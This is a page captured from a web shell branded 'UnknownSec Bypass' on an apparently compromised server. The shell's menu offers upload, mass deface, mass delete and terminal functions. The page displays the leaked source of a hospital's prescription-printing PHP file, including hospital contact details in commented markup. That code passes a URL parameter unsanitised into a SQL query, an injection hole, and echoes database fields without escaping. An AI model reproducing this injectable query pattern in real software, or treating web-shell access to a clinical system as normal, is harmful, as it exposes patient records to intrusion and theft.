UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/
prescription
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_prescriptionnew.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <link rel="stylesheet" type="text/css" href="style/style_prescription.css" /> <script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.js"></script> <style type="text/css" media="print"> @page { size: auto; /* auto is the initial value */ margin: 0; /* this affects the margin in the printer settings */ } @media print { .noPrint { display: none; } } </style> <script type="text/javascript"> function gethospitaldetails() { try { var urlgetcode = '../get_hospitalheader.php'; $.ajax({ method: 'POST', url: urlgetcode, dataType: 'json', async: true, cache: false, success: function(data) { document.getElementById('lblhospital').innerHTML = data.header; document.getElementById('lblAddress1').innerHTML = data.address1; document.getElementById('lblAddress2').innerHTML = data.address2; document.getElementById('lblHMobileNo').innerHTML = data.phoneno; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getvisitdetails(val) { try { $.ajax({ method: 'POST', url: 'get_visitdetails.php', data: '&opdno=' + val, dataType: 'json', async: true, cache: false, success: function(data) { //alert(data); document.getElementById('uhid').innerHTML = data.suhid; document.getElementById('opdno').innerHTML = data.sfileno; const myArray = data.visitdate.split("-"); document.getElementById('voucherdate').innerHTML = myArray[2] + '-' + myArray[1] + '-' + myArray[0]; document.getElementById('name').innerHTML = data.pntpre + '' + data.name; document.getElementById('age').innerHTML = data.age + '' + data.pntageyrs; document.getElementById('sex').innerHTML = data.sex; document.getElementById('mobile').innerHTML = data.mobile; //document.getElementById('address').innerHTML = data.address1; //document.getElementById('bp').innerHTML = data.pressure; // document.getElementById('pulse').innerHTML = data.pulse; // document.getElementById('spo2').innerHTML = data.spo2; // document.getElementById('height').innerHTML = data.height; // document.getElementById('weight').innerHTML = data.weight; document.getElementById('complaint').innerHTML = data.complaint; document.getElementById('diagnosis').innerHTML = data.diagnosis; document.getElementById('testrequired').innerHTML = data.testrequired; document.getElementById('remarkadvice').innerHTML = data.remark; //document.getElementById('consultant').innerHTML = data.examinedby; document.getElementById('lblconsultantwithdegree').innerHTML = data.examinedby + ', ' + data .degree; document.getElementById('lblfollowupdate').innerHTML ="Next Follow up Date :-"+ data.followupdate; // document.getElementById('consultant').innerHTML = data.examinedby; // document.getElementById('referedby').innerHTML = data.refferedby; //PrintPanel(); }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } $(document).ready(function() { gethospitaldetails(); var id = getUrlVars()['opdno']; getvisitdetails(id) }); </script> </head> <body> <div class="invoice" id="dynamic_content" name="dynamic_content"> <div class="header border_bottom"> <div align="center"> <img src="demo.png" width="300px" height="80px" /> </div> <!-- <table width="100%"> <tr> <td width="20%"> <img src="../logoimage/logoclinic.jpg" id="logoimg" name="logoimg" alt="" style="width: 150px; height:75px" /> </td> <td width="80%" class="text_center"> <h2> <label id="lblhospital" name="lblhospital">BEGRAJ HOSPITAL </label> </h2> <p class="p_title"> <label id="lblAddress1" name="lblAddress1">100 Futa Road </label> </p> <p class="p_title"> <label id="lblAddress2" name="lblAddress2">Bareilly </label> </p> <p class="p_title"> <label id="lblHMobileNo" name="lblHMobileNo">Mobile No: 8979236470, 9259976724 </label> </p> </td> </tr> </table> --> </div> <!--<h2 class="text_center">Patient Prescription</h2>--> <div class="pt_details"> <table width="100%"> <tr> <td width="34%"> <p class="p_title"><b>UHID:</b> <label id="uhid" name="uhid">UHID:</label></p> </td> <td width="33%"> <p class="p_title"><b>OPD No.:</b> <label id="opdno" name="opdno"></label></p> </td> <td width="33%"> <p class="p_title"><b>Date:</b> <label id="voucherdate" name="voucherdate"></label></p> </td> </tr> <div align="center"> <img src="demo.png" width="300px" height="80px" /> </div> <tr> <td width="34%"> <p class="p_title"><b>Name:</b> <label id="name" name="name"> </label></p> </td> <td width="33%"> <p class="p_title"><b>Age:</b> <label id="age" name="age"> </label> / <b>Sex:</b> <label id="sex" name="sex"> </label> </p> </td> <td width="33%"> <p class="p_title"><b>Mobile No.:</b> <label id="mobile" name="mobile"></label></p> </td> </tr> </table> <!--<table width="100%"> <tr> <td width="67%"> <p class="p_title"><b>Address:</b> <label id="address" name="address"></label> </p> </td> <td width="33%"> <p class="p_title"><b>Consultant:</b> <label id="consultant" name="consultant"></label></p> </td> </tr> </table>--> </div> <div class="health_details"> <!-- <h2>Health Details</h2> <table width="100%"> <tr> <td width="20%"> <p class="p_title"><b>B.P.:</b> <label id="bp" name="bp"></label></p> </td> <td width="20%"> <p class="p_title"><b>Pulse:</b> <label id="pulse" name="pulse"></label></p> </td> <td width="20%"> <p class="p_title"><b>Spo2:</b> <label id="spo2" name="spo2"></label></p> </td> <td width="20%"> <p class="p_title"><b>Height:</b> <label id="height" name="height"> </label></p> </td> <td width="20%"> <p class="p_title"><b>Weight:</b> <label id="weight" name="weight"> </label></p> </td> </tr> </table> --> <table width="100%"> <tr> <td> <p class="p_title"><b>Complaint:</b> <label id="complaint" name="complaint"></label></p> </td> </tr> <tr> <td> <p class="p_title"><b>Diagnosis:</b> <label id="diagnosis" name="diagnosis"></label></p> </td> </tr> <tr> <td> <p class="p_title"><b>Test Required:</b> <label id="testrequired" name="testrequired"></label> </p> </td> </tr> </table> </div> <div align="center"> <img src="demo.png" width="300px" height="80px" /> </div> <table width="100%"> <tr> <td width="5%"><h2>Rx.</h2></td> <td width="5%"></td> <td width="90%"> <p class="p_title"><b>Advice:</b> <label id="remarkadvice" name="remarkadvice"></label> </p> </td> </tr> </table> <div class="body"> <div class="i_table"> <div class="i_table_head"> <?php include "../config.php"; $sql= "select * from prescriptiontb where visitid='".$_GET['opdno']."' and isdeleted=0"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <div class="i_row"> <div class="i_col w_10"> <p class="p_title">S.NO.</p> </div> <div class="i_col w_25"> <p class="p_title">DESCRIPTION</p> </div> <div class="i_col w_10"> <p class="p_title">DOSAGE</p> </div> <div class="i_col w_15"> <p class="p_title">WHEN</p> </div> <div class="i_col w_10"> <p class="p_title">FREQ.</p> </div> <div class="i_col w_10"> <p class="p_title">DUR.</p> </div> <div class="i_col w_20"> <p class="p_title">NOTE</p> </div> </div> </div> <div class="i_table_body"> <?php $sno=1; while ($row = mysqli_fetch_assoc($result)) { ?> <div class="i_row"> <div class="i_col w_10"> <p class="p_title_pre"><?php echo $sno; ?></p> </div> <div class="i_col w_25"> <p class="p_title_pre"><?php echo $row['type'].': '. $row['medicine']; ?></p> <span class="p_title_pre1"><?php echo $row['dosageremark']; ?></span> </div> <div class="i_col w_10"> <p class="p_title_pre"><?php echo $row['dosage']; ?></p> </div> <div class="i_col w_15"> <p class="p_title_pre"><?php echo $row['timing']; ?></p> </div> <div class="i_col w_10"> <p class="p_title_pre"><?php echo $row['frequency']; ?></p> </div> <div class="i_col w_10"> <p class="p_title_pre"><?php echo $row['duration']; ?></p> </div> <div class="i_col w_20"> <p class="p_title_pre"><?php echo $row['notes']; ?></p> </div> </div> <?php $sno++; } } ?> </div> </div> <div align="center"> <img src="demo.png" width="300px" height="80px" /> </div> <div class="footer"> <div class="i_row"> <div class="i_col w_50"> <p class="p_title"><label id="lblfollowupdate" name="lblfollowupdate"></label> </p> <!-- <p class="p_title">Payment Method</p> <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Cumque, dicta distinctio! Laudantium voluptatibus est nemo.</p> --> </div> <div class="i_col w_50 text_right"> <p class="p_title text_right"><label id="lblconsultantwithdegree" name="lblconsultantwithdegree"></label> </p> <!-- <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Cumque, dicta distinctio! Laudantium voluptatibus est nemo.</p> --> </div> </div> </div> </div> </div> <div align="center" class="noPrint" style="padding: 20px 0;"> <button style="background-color: #0066FF; color: #FFFFFF; padding: 5px; font-weight: bold" onclick="window.print();" class="noPrint"> Print Me </button> <a href="manage_prescription.php" style="background-color: brown; color: #FFFFFF; padding: 8px; font-weight: bold" class="noPrint"> Back to Manage Prescription </a> </div> </body> </html>
Copyright © 2025 - UnknownSec